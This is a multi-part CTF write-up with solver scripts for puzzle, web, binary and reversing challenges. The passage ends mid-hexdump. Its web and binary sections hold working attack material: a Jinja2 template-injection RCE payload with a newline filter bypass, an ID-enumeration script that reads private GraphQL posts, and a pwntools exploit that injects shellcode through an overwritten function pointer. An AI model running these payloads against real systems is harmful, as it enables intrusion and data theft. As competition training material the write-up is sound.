Coding

Wells-read

For this challenge we were provided with a version of "The Time Machine" by H. G. Wells where some of the words were slightly mangled, with individual characters replaced.

I found an original version of the novel [online](). As this version matches the one of the challenge closely, I think this is also the version the challenge author used. After converting the fancy unicode quotes and dashes to ASCII, we can diff the two files to obtain all mangled words:

```
git diff --no-index --word-diff=porcelain \
        hgwells_orig.txt 'The Time Machine by H. G. Wells.txt' \
    | grep -E '^[+-]' \
    > diff
```

We obtain the flag by concatenating all replaced characters in the mangled words:

```
def doit(orig, new):
    global sol
    if len(orig) != len(new):
        return

    for a, b in zip(orig, new):
        if a != b:
            sol += b


sol = ""
for l in open("x"):
    x = l.strip()[1:]
    if l[0] == "-":
        orig = x
    else:
        new = x
        doit(orig, new)
print(sol)
```

Flag: `{FLG:1_kn0w_3v3ryth1ng_4b0ut_t1m3_tr4v3ls}`

LimboZ0ne

For this challenge we were provided with a `level_0` 7z archive containing two images and an encrypted `level_1` 7z archive. It also contained a python script hinting that the password for the encrypted archive is of the form `x|y|r1|g1|b1|r2|g2|b2`, where `x` and `y` are pixel coordinates and `r1`, `g1`, `b1`, `r2`, `g2`, `b2` are the pixel values of the two images at these coordinates. The two images were very similar, different only in exactly one pixel. So of course this was the pixel forming the encryption password.

Inside the archive for level 1, we find the exact same setup: two images and an encrypted 7z archive for level 2. Using a script we can easily automate this process, to unpack all levels until the last archive hopefully contains the flag.

After unpacking the first few levels, the one of the images is flipped relative to the other, so we quickly consider that in our script: when the images differ in more than one pixel, we flip one image and try again.

As we race through the levels, we encounter more such transformations: one image is flipped along one or both axes, or along the rising diagonal (which effectively swaps x and y coordinates). We can counter these in the same fashion, applying the transformations in order until the images differ in only one pixel.

All of that is automated by this top CTF-quality script:

```
import os
import imageio

def get_pw(im1, im2, flip, flip2, swap):
    r=None
    for y in range(len(im1)):
        for x in range(len(im1[y])):
            p1 = im1[y][x]
            a = len(im1) - 1 - y if flip else y
            b = len(im1[y]) - 1 - x if flip2 else x
            if swap:
                p2 = im2[b][a]
            else:
                p2 = im2[a][b]

            if (p1 != p2).any():
                r1, g1, b1 = p1
                r2, g2, b2 = p2
                rgb1 = '{:0{}X}'.format(r1, 2) + '{:0{}X}'.format(g1, 2) + '{:0{}X}'.format(b1, 2)
```

```
                rgb2 = '{:0{}X}'.format(r2, 2) + '{:0{}X}'.format(g2, 2) + '{:0{}X}'.format(b2, 2)
                if r is not None:
                    print("fail")
                    return None
                r= str(x)+str(y)+rgb1+rgb2
                print(r)
    return r

level = 0
while True:
    im1 = imageio.imread("level_%d.png" % level)
    im2 = imageio.imread("lev3l_%d.png" % level)

    pw = None

    if im1.shape == im2.shape:
        if pw is None:
            pw = get_pw(im1,im2,False,False,False)
        if pw is None:
            pw = get_pw(im1,im2,True,False,False)
        if pw is None:
            pw = get_pw(im1,im2,False,True,False)
        if pw is None:
            pw = get_pw(im1,im2,True,True,False)
    if pw is None:
        pw = get_pw(im1,im2,False,False,True)
    if pw is None:
        pw = get_pw(im1,im2,True,False,True)
    if pw is None:
        pw = get_pw(im1,im2,False,True,True)
    if pw is None:
        pw = get_pw(im1,im2,True,True,True)

    if pw is None:
        print("FAIL")
        break
    print(level, pw)
    level += 1
    os.system("7z e -p'%s' level_%d.7z && rm -f level_%d.7z level_%d.png lev3l_%d.png" % (pw,level,level,level-1,level-1))
```

You can probably tell that the script grew organically as more image transformations appeared.

After a long hour of unpacking archives, we reach level 1024 which only contains the flag.

Flag: `{FLG:p1xel0ut0fBound3xcept1on_tr4p_1s_shutt1ng_d0wn}`

Hide & eXec

Overview

We are given a zip file containing a barcode image and another zip file. To be able to extract from the inner zip file, we need the password first, which can be decoded from the barcode image. Obviously we need to automate the whole process. So I used python to do it for me. I used zxing library to decode the barcode. When we decode the barcode we get some code in different programming languages each time. The languages used were, (bash, js, python, java, brainfuck, and php). The next part was to detect the language. Then we can run the code with some language specific interpreter. (For Brainfuck I used, https://github.com/fabianishere/brainfuck.git). We get the passcode and then do the same process over and over again to extract all the zip files. The script took 20-25 minutes to run on my machine and it will eventually spit out the flag in the end.

```
import os
import subprocess
import zxing

reader = zxing.BarCodeReader()

def getfile():
    d = subprocess.check_output("ls")
    y = d.decode().split("\n")
    for i in y:
        if ".zip" in i:
            return i[:-4]

def uzip(fname, passcode):
    os.system(f"7z x {fname}.zip -p{passcode}")

def move(fname):
    os.system(f"mv {fname}.* move/")

def sol(fname):
```

```
    barcode = reader.decode(f"./{fname}.png")
    x = barcode.raw
    if ';' in x:
        code = x.replace("\n", "").replace(";", ";\n")
    else:
        code = x
    print(code)
    if "done;" in code:open(f"{fname}.sh", "w").write(code);passcode = subprocess.check_output(["bash", f"
{fname}.sh"]).decode().strip()
    elif "var i" in code:open(f"{fname}.js", "w").write(code);passcode = subprocess.check_output(["node", f"
{fname}.js"]).decode().strip()
    elif "if i" in code or "zip(" in code:open(f"{fname}.py", "w").write(code);passcode = subprocess.check_output(["python", f"
{fname}.py"]).decode().strip()
    elif "Main" in code:
        open(f"Main.java", "w").write(code)
        os.system("javac Main.java")
        passcode = subprocess.check_output(["java", "Main"]).decode().strip()
        os.system("mv Main.* move/")
    elif "++++" in code:
        open(f"{fname}.brainfuck", "w").write(code)
        passcode = subprocess.check_output(["./brainfuck", f"{fname}.brainfuck"]).decode().strip()
    elif "<?php" in code:
        open(f"{fname}.php", "w").write(code)
        passcode = subprocess.check_output(["php", f"{fname}.php"]).decode().strip()
    print(passcode)
    return passcode

if __name__ == '__main__':
    while True:
        fname = getfile()
        print(fname)
        passcode = sol(fname)
        uzip(fname, passcode)
        move(fname)

    # {FLG:P33k-4-b0o!UF0undM3,Y0urT0olb0xIsGr8!!1}
```

Sphinx's math

In this challenge we had to write a script to automatically solve a system of linear equations. We can do that by parsing each equation into a vector of coefficients from the left-hand side of the equation, and a result scalar from the right-hand side of the equation. After parsing every equation, we stack the coefficient vectors to obtain the coefficient matrix A and we stack the result scalars to obtain the result vector b. The system of equations is then equivalent to $Ax=b$, where x is a vector of the variables. Using numpy we obtain a solution, which we then insert into the left-hand side of the final formula by computing the dot product of its coefficient vector and the solution vector, to obtain the final result.

After repeating this 512 times, the server hands us the flag.

Flag: `{FLG:F0r63t_7h3_4r4b1c-num3r4l5_hi3r06lyph5_w1ll_n3v3r-d13!}`

```
import string
import numpy as np
from requests_html import HTMLSession


def convert(s):
    print("convert:", s)
    return float(eval(s))


def solve(r):
    print(r.text)

    all_text = "".join(p.text for p in r.html.find("div.enigma>p"))

    variables = list(set(x for x in all_text if x not in string.printable))
    print(variables)

    mat_a = []
    vec_b = []
    num_eqs = 0
    for p in r.html.find("div.enigma>p"):
        print("equation:", p.text)
        eq, res = p.text.split("=")
        eq = eq.strip()
        res = res.strip()

        facs = {}
        fac = ""
```

```python
        for c in eq:
            if c in variables:
                facs[c] = fac
                fac = ""
            else:
                fac += c

        facs = [(convert(facs[var]) if var in facs else 0.0) for var in variables]
        print("factors:", facs)

        if res == "?":
            print("num_eqs:", num_eqs)
            print("num_vars:", len(variables))
            print("result:")
            mat_a = np.reshape(mat_a, (num_eqs, len(variables)))
            vec_b = np.reshape(vec_b, (num_eqs,))
            print(mat_a)
            print(vec_b)
            print("sol:")
            x = np.linalg.lstsq(mat_a, vec_b, rcond=None)[0]
            print(x)

            print("final result:")
            final = np.dot(x, facs)
            print(final)
            final = int(round(final))
            print(final)

            r = sess.post(
                "http://codingbox4sm.reply.it:1338/sphinxsEquaji/answer",
                data={"answer": str(final)},
            )
            return r

        else:
            num_eqs += 1
            res = convert(res)
            print("res:", res)

            mat_a.append(facs)
            vec_b.append(res)


sess = HTMLSession()
r = sess.get("http://codingbox4sm.reply.it:1338/sphinxsEquaji/")
while True:
    r = solve(r)
```

Web

maze graph

The task provides us a graphql endpoint.

Exploit

The API provided us with a way to list public posts and a way to list posts by id. This could be used to access private notes by enumerating all ids.

```python
from gql import gql, Client, AIOHTTPTransport

transport = AIOHTTPTransport(url="http://gamebox1.reply.it/a37881ac48f4f21d0fb67607d6066ef7/graphql")


client = Client(transport=transport, fetch_schema_from_transport=True)

query = gql(
    """
    query {
  allPublicPosts{
    id
  }
}
"""
)

result = client.execute(query)
```

```python
ids = list(map(lambda x: int(x['id']) ,result['allPublicPosts']))
print(ids)

for i in range(1,251):
    if i not in ids:
        query2 = gql(
            f"""
            query {{
            post(id: {i}) {{
                id,
                content,
                public
                }}
                }}
            """
        )
        result = client.execute(query2)
        #print(i)
        #print(result)
        if 'delete' in result['post']['content']:
            print(result)
```

One of the private notes contains a message with a hint to delete a specific file.

Another graphql query (getAssets) allowed to access files on the filesystem. This could be used to access the file and obtain the flag.

The secret Notebook

The task is a rot47 encoder/decoder. Since it is symetric, encoding and decoding are the same operations. So encode(encode("string")) == "string". I looked at the headers but it wasn't hinting that the server is using python in its backend. Eventually I guessed it. As the output of the challenge contained the decoded string, I tried SSTI (Server Side Template Injection). Encoding our payload and passing it to the encoder again, when it's going to output the encoded string, it will interpret is as a part of the template and execute it. I tried `{{2*2}}` as my first payload, encoded it with ROT47, then encoded it again and I got the result 4. :)

`{{}}` looks like a jinja2 template. So I went on with trying some jinja2 payloads. I tried doing `{{config}}` and it returned the configuration file and also a fake flag in the SECRET_KEY value. (troll).

We need RCE. So I tried the following payload later. `{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}`. However `.` seemed to be blacklisted / escaped (like a lot of other stuff as well). Maybe even only a whitelist in place. I guessed that there could be a regex in the backend responsible for filtering. So why don't we try to bypass it with a newline character.

Final payload:

```
\n (we need to escape it when encoding it.)
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
```

Encode it, encode the encoded string (to decode it), jinja2 renders the injected template.

```
\n
(encoded payload)
```

And guess what we have RCE.

> In case modifier /m is not (globally) specified, regexp should avoid using dot . symbol, which means every symbol except newline (\n). It is possible to bypass regex using newline injection.

There is a file called flag.txt. `cat flag/flag.txt` for the flag. :)

Binary

DeserCalc.EXE

This is the first binary(category) challenge worth 100 points. I used binary ninja for reversing purposes. We are provided with two binaries, a client and a server. I used pwntools, which is a great python library to easily connect to things.

The client binary is not needed to solve the challenge. The NX bit and RELOCS are disabled so we can use arbitrary shellcode. (more on this later).

First the binary first asks for a password, then compares the input to a string which is hardcoded into the challenge itself, which is `JustPwnThis!`. It basically does some allocations and frees. Takes our user input two times. Also It stores a function pointer inside of our input buffer. Since we can overwrite this pointer, we modify it to call an arbitrary address. I used: `0x08049019 #call eax`. A ROP gadget which I found using a tool called ROPgadget. Since EAX pointed to our input and the nx bit was disabled, we got shellcode execution. So we can now craft some shellcode.

I found out that the fd for I/O was always `4` on the remote. So i first opened `/proc/self/maps` to see which directory the flag might be in. Then I opened `/home/user/flag.txt`, I guessed the flag file name xD. And we got our flag.

Here is my exploit:

```python
#!/usr/bin/python3
from pwn import *
from past.builtins import xrange
from time import sleep
import random

#exe
exe = ELF('./server')

#Gadgets
call_eax = 0x08049019

#Addr
mess = 0x0804A8C8
establish = 0x0804A06F
idk = 0x08049B9D
ret = 0x0804a8c7

#Exploit
if __name__ =='__main__':
#    p = process('./server')
    io = remote('gamebox1.reply.it',27364)

#    io = remote('localhost',8000)
    io.sendlineafter('Password: \n','JustPwnThis!')
    L_ROP = p32(call_eax)
    shellcode = asm(f'''
        mov eax,6
        mov ebx,1
        int 0x80
        mov eax, 0x29
        mov ebx, 0x4
        int 0x80
        mov al, 5
        mov ebx, esp
        add ebx, 0x3e+0x16+9
        mov ecx, 0
        int 0x80
        mov ebx, eax
        mov al,3
        mov ecx, esp
        add ecx, 0x100
        mov edx, 0x100
        int 0x80
        mov eax, 4
        mov ebx, 1
        int 0x80
    ''',arch='i386')

    io.sendlineafter('\x00',L_ROP+shellcode+b'/home/user/flag.txt')
    L_ROP = 'JUNK'
#    pause()
    io.sendlineafter('\x00',L_ROP)
    io.interactive()
```

---

mBRrrr

Overview

As the file and challengename already hinted, we are dealing with something more low level. Inspecting `bootloader.bin` reveals that we have a DOS/MBR boot sector.

```
user@KARCH ~/Downloads % file bootloader.bin
bootloader.bin: DOS/MBR boot sector
```

We can run it with QEMU:

```
user@KARCH ~/Downloads % qemu-system-i386 -drive file=bootloader.bin,if=floppy,format=raw -m 64 -boot a --nographic


SeaBIOS (version ArchLinux 1.14.0-1)

iPXE (http://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+03F91500+03EF1500 CA00

Booting from Floppy...
OpsOps
```

It prints `Ops` two times in a row, then hangs.

Reversing

I did the Reversing with radare2 and by debugging. By using the `-s -S` switches in QEMU, it waits for a remote debugger to connect.

Launch QEMU:

```
user@KARCH ~/Downloads % qemu-system-i386 -s -S -drive file=bootloader.bin,if=floppy,format=raw -m 64 -boot a --nographic
```

Attach Radare:

```
user@KARCH ~ % r2 -a x86 -b 16 -D gdb gdb://localhost:1234
```

Continuing execution (`dc`) will run the program, `ctrl + c` will break. Next I inspected the memory by going into visual mode (`V`). At offset `0000:8000` we will find our program in memory. Also we immediately see some fake flag at `0000:8140`. Above and below the fake flag (at `0000:8100` and `0000:8180`) there are two different datablobs (you can tell that this is not code by the density and illegal/senseless opcodes). I now started disassembling the code at `0000:8000` (by pressing `!`).

Starting at `0000:802a` I immediatly noticed a function apparently doing some xor stuff, also it references the memory at `0x8100`, `0x8140` and `0x8180` !

```
┌ 92: fcn.0000802a ();
│           0000:802a      6655           push ebp
│           0000:802c      6631d2         xor edx, edx
│           0000:802f      6689e5         mov ebp, esp
│           0000:8032      6683ec08       sub esp, 8
│       ┌─> 0000:8036      678a82408100.  mov al, byte [edx + 0x8140]
│       ╎   0000:803d      673282008100.  xor al, byte [edx + 0x8100]
│       ╎   0000:8044      00d0           add al, dl
│       ╎   0000:8046      3413           xor al, 0x13
│       ╎   0000:8048      00d0           add al, dl
│       ╎   0000:804a      3419           xor al, 0x19
│       ╎   0000:804c      00d0           add al, dl
│       ╎   0000:804e      673a82808100.  cmp al, byte [edx + 0x8180]
│      ┌──< 0000:8055      740c           je 0x8063
│      │╎   0000:8057      6683ec0c       sub esp, 0xc
│      │╎   0000:805b      6668ae810000   push 0x81ae
│     ┌───< 0000:8061      eb12           jmp 0x8075
│     │└──> 0000:8063      6642           inc edx
│     │ ╎   0000:8065      6683fa2e       cmp edx, 0x2e
│     │ └─< 0000:8069      75cb           jne 0x8036
│     │     0000:806b      6683ec0c       sub esp, 0xc
│     │     0000:806f      666840810000   push 0x8140
│     │     ; CODE XREF from fcn.0000802a @ 0x8061
│     └───> 0000:8075      66e885ffffff   call fcn.00008000
│           0000:807b      6683c410       add esp, 0x10
│           0000:807f      6631c0         xor eax, eax
│           0000:8082      66c9           leave
└           0000:8084      66c3           ret
```

Apparently bytes of the batablob at `0x8100` are xored/added with bytes of the fake flag at `0x8140` and the index (in edx/dl). Afterwards they are compared with bytes of the blob at `0x8180`. We can transfer this into nice C code by using the radare2 ghidra plugin. (`:aaa` on function start, then `pdg`).

```
void fcn.0000802a(void)
{
    char cVar1;
    int32_t iVar2; // actually should be uint8_t*
    int16_t arg_8h; // actually should be char*

    iVar2 = 0;
    do {
        cVar1 = (char)iVar2;
        if ((uint8_t)((((*(uint8_t *)(iVar2 + 0x8140) ^ *(uint8_t *)(iVar2 + 0x8100)) + cVar1 ^ 0x13) + cVar1 ^ 0x19) + cVar1) !=
*(char *)(iVar2 + 0x8180)) {
            arg_8h = -0x7e52; // "Ops"
            goto code_r0x00008075;
        }
        iVar2 = iVar2 + 1;
    } while (iVar2 != 0x2e);
    arg_8h = -0x7ec0; // fake flag
code_r0x00008075:
    fcn.00008000(arg_8h);
    return;
}
```

I now dumped the obfuscated blobs (`pcp 0x2e @0x8100`, ...) to reimplement the decryption in python, bruteforcing the correct flag byte by byte. Special care needs to be taken of overflows. Because it is calculated with unsigned 8bit values, and python does not know about such concepts, after every possible overflowing operation we need to cutoff overflown bits (therefore the many `& 0xff`).

```python
import struct
a = struct.pack ("46B", *[
0xc7,0xbb,0x87,0x7c,0x20,0xf7,0xf3,0x65,0x83,0xb1,0x23,
0x70,0xed,0x02,0x83,0xa9,0xc3,0x1f,0xd9,0x8f,0xe4,0x02,
0xfa,0xf9,0x39,0xfe,0xdd,0xbd,0x0d,0xe9,0x43,0x48,0x9b,
0xee,0x62,0x2c,0x89,0x10,0x28,0x33,0x42,0x33,0x47,0xc5,
0x95,0x55])

import struct
b = struct.pack ("46B", *[
0xb6,0xf8,0xfb,0x2c,0x0c,0xc9,0xd7,0x52,0xb6,0xc3,0x7a,
0x85,0x2a,0x9f,0xfe,0xd0,0x40,0x31,0x2b,0x08,0x28,0x8c,
0x11,0x12,0x6e,0x2c,0xdc,0xfd,0x97,0x39,0x86,0xd2,0x08,
0xe1,0xc0,0x6c,0x0e,0x87,0x78,0xa4,0xe8,0xb8,0xca,0x4c,
0x1b,0x97])


def brutecharat(i):
    for x in range(0x100):
        if ((((((a[i] ^ x) + i ^ 0x13) & 0xff) + i ^ 0x19) & 0xff) + i) & 0xff) == b[i]:
            return chr(x)

print(''.join([brutecharat(i) for i in range(len(a))]))
# {FLG:18471a01b9b9528273857ee47a19d6710848f568}
```

---

tender.ino

Overview

We get a `tender.ino.hex` file. From the filename I assumed an arduino `hex` image. To reverse it, I need it in `bin` format, so I first converted it:

```
objcopy -I ihex tender.ino.hex -O binary tender.bin
```

Simulating it in simavr (atmgea328p because this is the basic arduino MCU, and 16MHz) gives us the following output:

```
user@KARCH ~/ctf/reply % simavr -m atmega328p -f 16000000 tender.ino.hex
Loaded 1 section of ihex
Load HEX flash 00000000, 4308
         .....           ......
   ,ad8PPPP88b,     ,d88PPPP8ba,.
  d8P"      "Y8b, ,d8P"      "Y8b.
 dP'           "8a8"           `Yd.
 8(              "              )8.
 I8                             8I.
  Yb,                         ,dP.
   "8a,                     ,a8".
     "8a,                 ,a8".
       "Yba             adP"     The game of love <3 .
         `Y8a         a8P'.
           `88,     ,88'          Unlock the love!! .
             "8b   d8".
              "8b d8".
               `888'.
                 ".
..
..
.
```

However, using this kind of emulation it does NOT forward stdin input to UART0, neither do timers seem to work, as I found out. So I compiled simavr on my own, and in the `simavr/examples/board_simduino/` a (more) proper emulator can be found (after build)) as `simduino.elf`. Before compilation, set `export SIMAVR_UART_XTERM=1`. Next try. Launch simduino with the `-d` option for a gdb debugging server:

```
user@KARCH ..board_simduino/obj-x86_64-pc-linux-gnu (git)-[master] % ./simduino.elf -d ~/ctf/reply/tender_fake.ino.hex
atmega328p booloader 0x00000: 4308 bytes
avr_special_init
avr_gdb_init listening on port 1234
uart_pty_init bridge on port *** /dev/pts/1 ***
uart_pty_connect: /tmp/simavr-uart0 now points to /dev/pts/1
note: export SIMAVR_UART_XTERM=1 and install picocom to get a terminal
gdb_network_handler connection opened
```

Attach a terminal to UART0:

```
user@KARCH ~ % picocom /tmp/simavr-uart0 --omap crlf
picocom v3.1

port is        : /tmp/simavr-uart0
flowcontrol    : none
baudrate is    : 9600
parity is      : none
databits are   : 8
...
```

Attach radare (set bpinmaps=false to get breakpoints working), and continue execution with the `dc` command:

```
user@KARCH ~ % r2 -a avr -e dbg.bpinmaps=false -D gdb gdb://localhost:1234
WARNING: r_file_exists: assertion '!R_STR_ISEMPTY (str)' failed (line 164)
gdbr_get_reg_profile: unsupported x86 bits: 8
cannot find gdb reg_profile
= attach 0 0
 -- Buy a Mac
[0x00000000]> dc
```

Now we can see that on the UART additionally the following is printed: `Welcome to the game of love, enter the key of my heart:`. Character by character, with a small delay in between. Also UART input works (I confirmed that the ISR got hit), HOWEVER some parts of the Simulation are still non-functioning. I don't know exactly which, but the Program just did not react on input at all. Might be timer related. But this couldn't stop me from reversing. However it took a huge amount of time trying to (unsuccessfully) get it to react on input...

Reversing / Debugging

For reversing I used Ghidra. First of all I tried to locate the mainloop. I did this by trying to find out where the `Welcome to the...` string comes from, as it is not visible in plaintext inside the binary. By halting execution during printing of the message, and stepping out of the funtions, I found at `0x283` something what looked like a decryption routine. Basically it xors something with 0x24.

```c
char * decrypt_string(char *param_1)
{
  undefined2 uVar1;
  int iVar2;
  byte *pbVar3;

  iVar2 = R23R22;
  uVar1 = R17R16;
  R17R16 = param_1;
  param_1 = malloc(R23R22);
  Z = R17R16;
  X = param_1;
  Y._0_1_ = (byte)iVar2;
  Y._1_1_ = (char)((uint)iVar2 >> 8) + W._1_1_ + CARRY1((byte)Y,(byte)W);
  R19 = 0x24;
  Y._0_1_ = (byte)Y + (byte)W;
  do {
    pbVar3 = X;
    R18 = *Z;
    Z = Z + 2;
    R18 = R18 ^ R19;
    X = X + 1;
    *pbVar3 = R18;
  } while ((byte)X != (byte)Y || X._1_1_ != (char)(Y._1_1_ + ((byte)X < (byte)Y)));
  R17R16 = (byte *)uVar1;
  return (char *)param_1;
}
```

Note: Relying on the ghidra generated C code is somethimes not the best, as one can see it is very verbose for the AVR architecture. Most of the time just looking at assembly is better in my optinion.

Now dumping encrypted memory regions end decrypting them is easy (I used r2 with `pcp`).

```python
import struct
buf = struct.pack ("336B", *[
0x70,0x00,0x4c,0x00,0x4d,0x00,0x57,0x00,0x04,0x00,0x4d,
...
0x50,0x00,0x1e,0x00,0x04,0x00])

print(''.join([chr(b ^ 0x24) for b in buf if b]))
```

We get the following:

```
This is not the right key... do you really love me??O Romeo, Romeo, wherefore art thou Romeo? Take all myself!!
Welcome to the game of love, enter the key of my heart:
```

Interesingly, there seems to be a failure message `This is not the right key...` and a success message `O Romeo, Romeo, ...`. By following xrefs of the decryption routine, I found the origin where it is called (`0x4e3` in ghidra):

```
    if (wrongkey) {
      param_1 = (char *)0x34;
                    /* This is not the right key */
      W = (byte *)0x100;
    }
    else {
      param_1 = (char *)0x3b;
                    /* Romeo Romeo */
      W = (byte *)0x168;
    }
    W = (byte *)decrypt_string(W,param_1);
    print_string((char *)W);
```

Right above, there is a loop checking some computed values against a static key (`0xe77` in radare). So next up I placed a breakpoint on the comparison an waited for it to trigger. Which never happened, because of unknown reasons... It would always end up waiting for some bits of a singly byte in memory to be set, which never happened. In the same piece of code responsible for this, there was also a lot of timer related stuff involved. I guess depending on the input (length?) LEDs are PWM driven to pulsate faster or something like that. I got really annoyed that I could not find out what is setting those bits, so I just manually overwrote the location with 0xff. Now all bits are set and my breakpoint triggered. Nice. But we are probably working on an unintended program state (which turned out doesn't matter that much).

I wanted to know where the Values we compared against originated from. So I got interested in the loop right above the key comparison. Apparently this loop was responsible for converting a potential input char by char to compare it with the static key!

```
do {
    R21R20._0_1_ = *param_4; // read in a single char (placed breakpoint here)
    X = param_4 + 1;
    param_4 = X;
    R0 = (byte)R21R20 * '\x02';
    if (((byte)R21R20 & 1) == 0) { // is uneven?
    W._0_1_ = (byte)R21R20 + (byte)Z;
    param_2 = CONCAT11(((Z._1_1_ - CARRY1((byte)R21R20,(byte)R21R20)) +
                        CARRY1((byte)R21R20,(byte)Z)) * '\x02' + CARRY1((byte)W,(byte)W),
                        (byte)W * '\x02');
    W._0_1_ = (byte)W * '\x06';
    param_1 = (char *)R7R6;
    }
    else {
    W._0_1_ = (byte)R21R20 + 3;
    param_2 = CONCAT11((char)(param_2 >> 8),3);
    do {
        W._0_1_ = (byte)W * '\x02';
        R21R20._0_1_ = (byte)R21R20 - 1;
        param_2 = param_2 & 0xff00 | (uint)(byte)R21R20;
    } while ((byte)R21R20 != 0);
    param_1 = (char *)R5R4;
    }
    W = (byte *)idkwhatthisdoes((byte)W);
    Y[1] = W._1_1_; // write bytes (step until here)
    *Y = (byte)W;
    Z = (byte *)((int)Z + 1);
    Y = Y + 2;
} while ((byte)Z != 0x20 || Z._1_1_ != (byte)(R1 + ((byte)Z < 0x20)));
```

So I placed a breakpoint at `0x4b4` (it is a `ld R20, X+` instruction), and faked my way through until I hit the breakpoint. Then I inspected the memory at X `s r27 * 0x100 + r26 + 0x800000`. X is a R27:R26 composite register, and RAM is located at 0x800000 in qemu. I overwrote the content at this address with the known prefix of the flag (`pz{FLG:AAAA`). After I stepped until where the resulting byte is written, it was equal to the first entry of the static key! So now I saved the static key (`pcp`) and tried to recreate the functionality in Python.

It was way easier to do this just by looking at the assembly. As AVR has no multiplication instructions (I guess) the Compiler generated some funny code. E.g. multiplying by 8 is equal to shifting left 3 times in a loop.

```python
# c is character, i is index
def crypt(c, i):
    res = ord(c)
    if res & 1:
        res += 3
        res *= 8
    else:
        res += i
        res *= 6
    # idkwhatthisdoes()
    return res
```

This already lead to the correct key generation for most of the input chars (e.g. `{` was not correct). However there was still the `idkwhatthisdoes` function in between. I don't know what it really does. But by debugging and via try and error I found out, that as a good guess it would subtract ~700 (always a multiple of 100, maybe some modulo 100 stuff?) if the value was above ~700. Good enough for me :)

So I manually found out every new char, and whenever my `idkwhatthisdoes` function estimation was wrong (which was rarely the case), I would simply add an exception to the crypt function, as it was easy to spot the correct value (if the last two digits matched, and the resulting sentence made sense).

```
import struct
import string

buf = struct.pack("64B", *[
    0x34, 0x01, 0xaa, 0x01, 0xd4, 0x01, 0x50, 0x02, 0x74, 0x01, 0xb4,
    0x00, 0x84, 0x00, 0x24, 0x01, 0x54, 0x00, 0x9a, 0x02, 0xd4, 0x00,
    0xee, 0x02, 0x54, 0x00, 0x06, 0x03, 0xc4, 0x02, 0x84, 0x00, 0x54,
    0x00, 0xf2, 0x01, 0xd4, 0x00, 0xd4, 0x00, 0xb4, 0x00, 0x54, 0x00,
    0xd4, 0x00, 0xee, 0x02, 0x54, 0x00, 0x1e, 0x03, 0xd4, 0x00, 0xc2,
    0x01, 0x4c, 0x00, 0x84, 0x00, 0x20, 0x01, 0x44, 0x01])

buf2 = []

for i in range(0, len(buf), 2):
    val = buf[i] | (buf[i + 1] << 8)
    buf2.append(val)


def crypt(c, i):
    res = ord(c)
    if res & 1:
        res += 3
        res *= 8
    else:
        res += i
        res *= 6

    if res == 798:
        return res

    if res > 778:
        res -= 700

    if res == 176:
        res -= 100

    return res


# {FLG:key_for_the_Book_of_lo0ve!}
guess = '{FLG:key_for_the_Book_o'
for g in string.printable:
    e = []
    for i, c in enumerate(guess + g):
        e.append(crypt(c, i))
    if e == buf2[:len(e)]:
        print(guess + g)
        break
```

Various Notes

- In ghidra / and during debugging with r2/gdb addresses are different. Apparently there is a PC and a PC2 in avr. To get a debugging address, just multiply the ghidra address by 2. The other way round just divide by 2.
- There is a delay function at `0x230` which makes emulated debugging awfully slow. I guess it is a delay function because some calculation with 1000 (0x3e8) takes place and data modified by the timer ISR is accessed. I placed a ret right at the beginning to make it a no op. (open in radare with `-w` switch, then `wa ret` at the desired instructions)

Miscellaneous

Poeta Errante Chronicles

In this challenge we connect to a server for a small text-based adventure game. The game contains a couple of challenges we have to solve in order to get the flag.

First Challenge

The first challenge consists of decoding an ominous message:

```
e29688e29688e29688e29688e29688e29688e29688e29688e29688e29688
e29688e29688e29688e29688e29688e29688e29688e29688e29688e29688
```

```
[208 lines ommited]
9688e29688e29688e29688e29688e29688e29688e29688e29688e29688e2
9688e29688e29688e29688e29688e29688e29688e29688e29688e29688e2
9688e29688e29688e29688e29688e296880a
```

After hex-decoding this, we get a QR code, scanning the code reveals an address:

```
Ludovico Arrosto
Poetry Academy
Via Vittorio Emanuele II, 21
Firenze
Italy
l.arrosto@pacademy.com
```

The answer to the first challenge is `Via Vittorio Emanuele II, 21`.

Second Challenge

In the second challenge we have to obtain a 4-digit lock combination, given the following hints:

```
5028    2 correct digits and in right position
3871    1 correct digit and in right position
7526    1 correct digit and in right position
8350    2 correct digits and in wrong position
4170    1 correct digit and in wrong position
```

This is similar to the game Mastermind, so we can use [an automatic solver]() for it to obtain three possible solutions, 3029, 3023 and 3022, the first of which is accepted by the challenge.

Third Challenge

In the third challenge we are provided with mysterious hexdumps, with the hint that these contain some sort of communication:

```
0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 3c f3 8c 40 00 40 06 49 2d 7f 00 00 01 7f 00   .<..@.@.I-......
0020  00 01 d8 ea 07 e4 9a 69 bd 1a 00 00 00 00 a0 02   .......i........
0030  ff d7 fe 30 00 00 02 04 ff d7 04 02 08 0a c9 e0   ...0............
0040  93 fc 00 00 00 00 01 03 03 07                     ..........

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 3c 00 00 40 00 40 06 3c ba 7f 00 00 01 7f 00   .<..@.@.<.......
0020  00 01 07 e4 d8 ea fc 0b 0a b3 9a 69 bd 1b a0 12   ...........i....
0030  ff cb fe 30 00 00 02 04 ff d7 04 02 08 0a c9 e0   ...0............
0040  93 fc c9 e0 93 fc 01 03 03 07                     ..........

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f3 8d 40 00 40 06 49 34 7f 00 00 01 7f 00   .4..@.@.I4......
0020  00 01 d8 ea 07 e4 9a 69 bd 1b fc 0b 0a b4 80 10   .......i........
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fc c9 e0   ...(............
0040  93 fc                                             ..

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 35 f3 8e 40 00 40 06 49 32 7f 00 00 01 7f 00   .5..@.@.I2......
0020  00 01 d8 ea 07 e4 9a 69 bd 1b fc 0b 0a b4 80 18   .......i........
0030  02 00 fe 29 00 00 01 01 08 0a c9 e0 93 fc c9 e0   ...)............
0040  93 fc 7b                                          ..{

0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010  00 34 f7 b9 40 00 40 06 45 08 7f 00 00 01 7f 00   .4..@.@.E.......
0020  00 01 07 e4 d8 ea fc 0b 0a b4 9a 69 bd 1c 80 10   ...........i....
0030  02 00 fe 28 00 00 01 01 08 0a c9 e0 93 fc c9 e0   ...(............
0040  93 fc                                             ..

